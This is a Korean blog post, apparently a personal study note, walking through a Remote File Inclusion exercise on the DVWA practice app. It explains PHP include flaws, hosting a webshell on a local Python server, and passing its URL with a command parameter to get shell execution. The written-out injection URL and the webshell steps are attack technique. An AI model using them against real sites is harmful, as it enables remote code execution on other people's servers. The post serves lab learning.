RFI

Jang Seok Woo·2020년 9월 28일
0

보안

목록 보기
15/19
post-custom-banner

RFI

LFI는 DVWA를 이용해 파일 업로드 후 실행시켜 shell을 얻음으로써 실습해 보았다.

RFI(Remote File Inclusion)을 실습해보자

Local이 아닌 remote에서 파일을 포함시켜 공격하는 방법

대표적인 예로 파일을 include 할 때 생기는 취약점이 있다.

include
require 'db.php';
등 위와같이 php코드로 작성된 외부의 파일을 읽어오는 경우 생기는 취약점중 하나로 RFI 가 있다.

  • 원격 파일도 include 가능(로컬파일에 있는 php코드 뿐 아니라 원격지에 있는 파일도 include 가능)
  • URL 형태로 include 가능(PHP 기능중 하나)

이런 페이지가 있다고 하면,

Language 변수를 GET으로 보낼 때, URL형태로 내가 만든 php코드 파일을 include시켜 실행시킬 수 있다.

DVWA에서 RFI를 시도해보자

우선 File Inclusion 탭에 들어가,

URL에 page=include.php 부분에 현재 컴퓨터에 있는 파일 URL을 입력하는 RFI를 시도할 것이다.

먼저 현재 컴퓨터에 서버를 켜야할 것이고,

현재 컴퓨터의 IP주소를 알아야 할 것 이다.

그렇게 되면 현재 컴퓨터에 있는 파일 URL을 입력할 수 있게 된다.

파이썬을 이용해 이렇게 명령어를 입력하면 서버를 쉽게 구동할 수 있다.

아이피주소는 여러 개가 나오는데, 이중에 무선 LAN 어댑터 ip주소를 이용해야한다.

공유기로 와이파이 쓰고있어서

다른거로 했다가 삽질을 많이 했다.

그리고 cmd의 위치를 일부러 바탕화면으로 두고 서버를 켰다.

RFI 시도할 파일을 바탕화면에 webshell.php와 같이 만들어 준다.

http://무선랜IP주소/webshell.php?command=id

이렇게 입력하면 잘 안될 것이다.
2가지가 틀렸다. 하나는 포트 cmd창에 보면 포트 8000 으로 구동했다는 말이 나온다. 포트 8000붙여주고,

두번째는 ‘?’ 이거는 GET으로 변수를 한번에 보내는건데, 이 경우에는 webshell.php파일을 불러온 상태에서 변수 command를 따로 또 보내는 작업으로 보는게 맞으므로 ?가 아니라 &로 변수를 보내주면 된다.

http://무선LAN주소:8000/webshell.php&command=id

다음과 같이 shell이 동작함을 확인했다.

profile
https://github.com/jsw4215
post-custom-banner

0개의 댓글